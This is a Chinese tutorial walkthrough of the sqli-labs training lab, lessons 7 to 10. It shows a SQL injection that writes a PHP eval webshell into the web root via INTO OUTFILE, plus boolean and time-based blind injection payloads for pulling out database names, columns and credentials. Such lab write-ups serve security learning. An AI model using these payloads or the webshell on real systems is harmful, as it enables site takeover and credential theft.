sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)
写在前面:
首先需要更改一下数据库用户的权限用于我们之后的操作。
首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=“/”。
重启phpstudy 权限就改过来了
1.load_file(file_name)导出文件函数:
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
但是这里必须有权限读取并且文件必须完全可读,否则函数返回false。(这也是上面修改权限的原因)
2.select ....... into outfile 'file_name' :
可以把被选择的行写入一个文件中。同样的必须要有文件的读写权限才可以执行此语句。
比如:select version() into outfile "c:\\phpstudy\\111.txt" 这里\\和windows中/含义类似。这语句执行成功后就把数据库版本写入了111.txt文件中。
而我们进行注入的时候会把selec后的内容换成一句话木马:<?php @eval($_post["mima"])?> 配合中国菜刀这个软件使用。
ps:这里select后的内容不仅仅局限于上传一句话木马,也可以上传很多其他内容。
3.一句话木马:
<?php @eval($_POST[“crow”]);?> 这是php版本的,其中crow是密码。
一句话木马大都是配合中国菜刀使用
进入正题:
先看源码 发现id被'))包裹 ,原理和之前类似 构造语句就OK
执行语句:
?id=1')) union select 1,2,'<?php @eval($_POST["mm"]);?>' into outfile "C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\111.php" %23
这里需要注意几个点,首先php文件是通过into outfile语句生成的,不要在同目录下出现同名的php文件
关于一句话木马:'<?php @eval($_POST["mm"]);?>' 注意?php与@eval之间有空格,很多菜刀连接有问题基本是因为一句话出毛病了。
虽然出现报错,但是111.php文件已经出现导入内容了。
之后连接中国菜刀,右键空白处选择添加,进入下面页面
shell路径注意要如下图格式,而不是本地的绝对路径,后面的mm是我对应的密码,也就是一句话中中括号括起来的那两个字母。
连接成功后如下:
less-8:
1.布尔盲注:
id还是用'包裹,闭合单引号构造语句就好。
之前用到过 比如 left(),ascii()+substr()进行猜解,这里不再赘述。
下面主要介绍延时注入的方法。
2.延时注入:通过if和sleep()函数组合根据页面反应时长(页面返回true会很快,返回flase会执行sleep())
if(condition,a,b):如果condition返回ture执行a;否则执行b
sleep(a):等待a秒后返回页面做出反应。
比如:执行 ?id=1' and if(length(datatbase())=8,1,sleep(10)) %23
当数据库长度为8时页面很快出现反应,不为8时会延时10秒返回页面反应。
同理 执行?id=1' and if(ascii(substr(database(),1,1))>110,1,sleep(10)) %23
与上面类似,比较费时,个人感觉逻辑上不如利用二分法布尔盲注快。
下面附上部分步骤:
数据库长度为8位
猜解数据库名
可以利用and left(database(),1)>'a' 猜解第一位
and left(database(),2)>'sa' 猜解前2位
left(str,num) 截取str字符串前num位(从左往右)
2.判断表名
and ascii(substr((select table_name from infomation_schema.tables where tables_schema=database() limit 0,1),1,1))
判断列名1:ascii+substr
and ascii(substr((select column_name from information_schema.columns where table_name=security.users limit 0,1),1,1))>97 %23
判断列名2:regexp
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23
3.1利用ascii和substr破解列中的内容:
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68 %23
less 9-10:
与上面不同,不管如何输入返回都是You are in ....
所以只能使用延时注入。
less 9 的id是被 ' 包裹
less 10 是 " 包裹 注意闭合语句即可 方法就是上面所说的延时注入。
下面附上less 9的步骤截图:
上面是用 ascii和substr函数用二分法判断ascii值的延时注入。
上面这个是用 left函数分别从1到length长度 的字符分别猜解出所有字符 。个人感觉left语句更简单明了
下面爆列名:
这里是直接找的 username和password在哪个列
爆username的内容:
同理爆password:
less 10步骤就不赘述了,上面提到过和less 9的差不多。
sqli-labs lesson 7-10 (文件导出,布尔盲注,延时注入)的更多相关文章
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- python dvwa布尔盲注自动化脚本(level=low)
仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="htt ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
- WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- Natas15 Writeup(sql盲注之布尔盲注)
Natas15: 源码如下 /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) ...
随机推荐
- Java:Java的<<<移位运算符详解
1) 左移运算(<<) 左移就是把所有位向左移动几位 如: 12 << 2 意思就是12向左移动两位 12的二进制是: 0000 1100 通过这个图我们 ...
- Ubuntu创建图标
起因 安装一些软件时,总是没有图标,导致无法固定到docky栏,所以极为不方便,所以需要自己创建图标. 操作 以创建微信图标为例 [Desktop Entry] Name=Wecaht #名字 Com ...
- 2020年MySQL数据库面试题总结(50道题含答案解析)
1.MySQL 中有哪几种锁? (1)表级锁:开销小,加锁快:不会出现死锁:锁定粒度大,发生锁冲突的概率最 高,并发度最低. (2)行级锁:开销大,加锁慢:会出现死锁:锁定粒度最小,发生锁冲突的概率最 ...
- [转]CURL常用命令
From:http://www.cnblogs.com/gbyukg/p/3326825.html p.p1 { margin: 0 0 2px; font: 14px ".PingFang ...
- C语言共同体
结构体(Struct)是一种构造类型或复杂类型,它可以包含多个类型不同的成员.在C语言中,还有另外一种和结构体非常类似的语法,叫做共用体(Union),它的定义格式为: union 共用体名{ ...
- 高校表白App-团队冲刺第八天
今天要做什么 尝试连接数据库(MySQL) 做了什么 连接成功 遇到的问题 Android连接数据库可以采用JDBC连接,因为在Android开发中,大多数连接到远程MySQL数据库的方法是加入特定的 ...
- File类与常用IO流第八章——缓冲流
第八章.缓冲流 缓冲流概述 缓冲流,也叫高效流,是对4个基本的FileXxx流的增强.按照数据类型分为4类: 输入缓冲流 输出缓冲流 字节缓冲流 BufferedInputStream Buffe ...
- React refs 的理解
一.是什么 Refs 在计算机中称为弹性文件系统(英语:Resilient File System,简称ReFS) React 中的 Refs提供了一种方式,允许我们访问 DOM节点或在 render ...
- 最大网络流dinic
初始化flow(最大流量)为INF(极大值),建边(正向弧和反向弧) bfs寻找增广路看看有没有路,顺便进行深度标号.如果没有路直接结束输出flow. 如果有,我们按照深度dfs.dfs时注意在给正向 ...
- Linux 各个命令的缩写原型
cd:(change derictery)更换目录: pwd:(Print Working Directory)显示当前工作目录: mk:(make directory)创建目录: ...